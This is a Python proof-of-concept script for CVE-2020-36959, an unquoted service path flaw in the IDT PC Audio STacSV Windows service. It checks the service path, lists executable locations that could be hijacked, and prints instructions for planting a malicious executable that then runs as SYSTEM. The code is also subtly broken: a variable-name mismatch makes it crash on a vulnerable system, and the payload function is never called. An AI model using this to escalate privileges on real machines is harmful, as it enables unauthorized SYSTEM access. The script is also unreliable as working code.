CVE-2020-36959 IDT PC Audio STacSV服务未引号路径提权漏洞

#!/usr/bin/env python3 """ CVE-2020-36959 PoC - IDT PC Audio STacSV Unquoted Service Path This script checks for the vulnerable service path and demonstrates exploitation. Note: This is for educational and authorized testing purposes only. """ import subprocess import os import sys def check_vulnerable_path(): """ Check if the STacSV service has an unquoted path with spaces. Typical vulnerable path: C:\Program Files\IDT Corporation\IDT PC Audio\STacSV.exe """ try: # Query the STacSV service configuration using WMIC or sc command result = subprocess.run( ['sc', 'qc', 'STacSV'], capture_output=True, text=True, timeout=30 ) if result.returncode == 0: output = result.stdout print("[+] STacSV service found") # Extract BINARY_PATH_NAME for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Current path: {path}") # Check for unquoted path with spaces if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path contains spaces without quotes") # Parse path components path_parts = path.split('\\') potential_Hijack_points = [] current_path = "" for i, part in enumerate(path_parts[:-1]): if i == 0: current_path = part else: current_path += "\\" + part # Check if current path contains spaces (potential hijack point) if ' ' in current_path and '.' not in part: exe_name = path_parts[i + 1].split()[0] # Get first part before space hijack_path = current_path + "\\" + exe_name + ".exe" potential_Hijack_points.append(hijack_path) print(f"[!] Potential hijack points: {potential_hijack_points}") return True else: print("[-] STacSV service not found or access denied") return False except Exception as e: print(f"[-] Error: {e}") return False def generate_payload(target_path): """ Generate a simple reverse shell payload for demonstration. In real attack, this would be a malicious executable. """ print(f"[!] To exploit, place a malicious executable at one of the hijack points") print(f"[!] Example: Copy malicious.exe to {target_path}") print("[!] When service restarts, the malicious code will execute as SYSTEM") if __name__ == "__main__": print("=" * 60) print("CVE-2020-36959 - IDT PC Audio STacSV Unquoted Service Path") print("=" * 60) if os.name == 'nt': vulnerable = check_vulnerable_path() if vulnerable: print("\n[!] System is vulnerable to CVE-2020-36959") else: print("[-] This PoC only works on Windows systems")